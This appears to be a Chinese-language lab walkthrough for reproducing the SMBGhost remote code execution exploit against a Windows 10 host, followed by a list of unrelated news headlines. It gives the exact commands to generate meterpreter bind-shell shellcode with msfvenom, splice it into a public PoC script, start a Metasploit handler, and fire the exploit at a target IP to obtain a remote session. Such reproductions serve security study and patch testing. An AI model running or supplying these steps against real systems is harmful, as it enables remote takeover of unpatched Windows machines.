游龙战神|Windows10永恒之黑复现( 二 ) ==========实验环境准备==========目标

Kali Linux实操进行反弹shell
root用户登录(默认不能登录,需要给root设置密码后才能登录)：
普通用户登录后， sudo passwd root 给root设置密码，成功后重启kali ，便能使用root登录！

1. 下载PoC ， SMBGhost_RCE_PoC-master.zip
解压后，进入目录：

2. 用msfvenom生成python类型(-f python)的shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python

把生成的buf += b“......”中的值copy下来，打开exploit.py文件，替换USER_PAYLOAD的值：

替换为：

替换技巧：
生成的数据连同buf+=都copy下来，然后粘贴USER_PAYLOAD= ...... ，最后使用查找和替换把buf替换为USER_PAYLOAD！

强调：修改一定要仔细和精确，然后保存退出，不然你会怀疑人生！
3. 启动msf控制端设置有效载荷并开启4444端口监听
msfconsole

(1) use exploit/multi/handler
(2) set payload windows/x64/meterpreter/bind_tcp
(3) set lport 4444
(4) set rhost 192.168.152.167 (Win10的IP地址)
(5) run

4. python3执行exploit.py脚本
新终端打开执行：
python3 exploit.py -ip 192.168.152.167

出现图中提示，按任意键执行shellcode！

查看msfconsole终端：
提示有session 1 opened
注意：如果没有session 1 opened提示，可以退出监听(ctrl+c)重新run一下再次监听，直到成功为止！

游龙战神|Windows10永恒之黑复现( 二 )

推荐阅读

多地通告！

乐视|家喻户晓的乐视重回手机市场：涅磐重生

安卓|安卓老用户换iPhone 13没几天就被劝退：这些理由真心没法反驳

当代作家王小波观后感?王小波读后感

皮肤干燥吃维生素有用吗

新能源|财说| 六氟磷酸锂价格上涨，但这救不了市值下跌近七成的多氟多

炒菜提味用什么料比较好,炒菜用些什么调味料-

对李斯的老鼠哲学的认识?论李斯的老鼠理论

卡哇伊|前途不可估量，孩子是这三个生肖

家里地砖上有硅胶怎么去除瓷砖硅胶发霉黑点怎么去除

日本人的长寿秘诀被发现，竟然是顿顿都吃它，我国产量大却无人吃

皇太极第几子继承他的皇位

骆驼奶能降血糖、更有营养？专家提醒：高价骆驼奶还有很多“不确定”

金牌娱乐|蹊跷！杭州52岁大妈凌晨离奇失踪已15天！监控找不到任何踪迹

[大凤娱乐]中国小伙狂怼美国代表，快出道吧，韩综《77亿的爱》大谈疫情

直播吧|新华社：小克鲁伊夫已辞去厄瓜多尔国家队主帅职位

李易峰消失300多天后首露面，流泪向粉丝鞠躬

【莱斯时尚达人】疑似奥陌陌，专家解释成因，太阳的四周又出现的不明物

混乱徐哥|当场哭了，觉悟第六关奖励有多好？国服大神拿到终极奖励

央视网|9月份我国民航运输生产恢复速度加快